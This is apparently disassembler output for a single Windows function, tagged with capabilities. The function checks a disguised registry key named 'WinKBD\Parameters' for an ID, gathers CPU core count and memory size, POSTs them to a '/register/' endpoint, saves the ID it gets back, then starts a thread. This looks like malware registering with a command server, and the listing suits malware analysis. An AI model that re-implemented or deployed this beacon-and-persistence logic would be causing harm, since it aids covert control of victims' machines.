Function at 0x140002af0
Capabilities:
Create thread
Get memory capacity
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x14001c008]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor edi, edi
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.1400041b0
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWinKBDParameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002ba0
lea rax, [0x14001c034]
mov qword [rsp + 0x28], rax
lea rax, [0x14001ca98]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140015818]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140002d36
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop word [rax + rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.MSVCP140.dll__Thrd_hardware_concurrency]
mov ebx, eax
mov dword [rbp - 0x80], 0x40
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov r9, qword [rbp - 0x78]
shr r9, 0x14
mov r8d, ebx
lea rdx, str._os_type_:__WIN____cores_:__d___memory_:__d
lea rcx, [rbp - 0x40]
call fcn.140005330
lea r8, [rbp - 0x40]
lea rdx, str.POST
lea rcx, str._register_
call fcn.140001f90
mov rbx, rax
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005120
mov rcx, rax
lea rdx, [0x1400052f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140002ba0
mov qword [rbp - 0x48], rdi
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.1400053f0
movzx edx, byte [rsp + 0x70]
movzx ecx, byte [rax]
mov byte [rsp + 0x70], cl
mov byte [rax], dl
lea r8, [rax + 8]
mov rax, qword [rsp + 0x78]
mov rcx, qword [r8]
mov qword [rsp + 0x78], rcx
mov qword [r8], rax
mov rcx, r8
call fcn.1400048a0
nop
lea rdx, [0x14001580c]
lea rcx, [rsp + 0x70]
call fcn.140005500
mov rcx, rax
call fcn.140005600
mov dword [rsp + 0x68], eax
mov dword [0x14001ca98], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWinKBDParameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002cd9
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWinKBDParameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002d40
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x140015818]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140002760]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x140002d40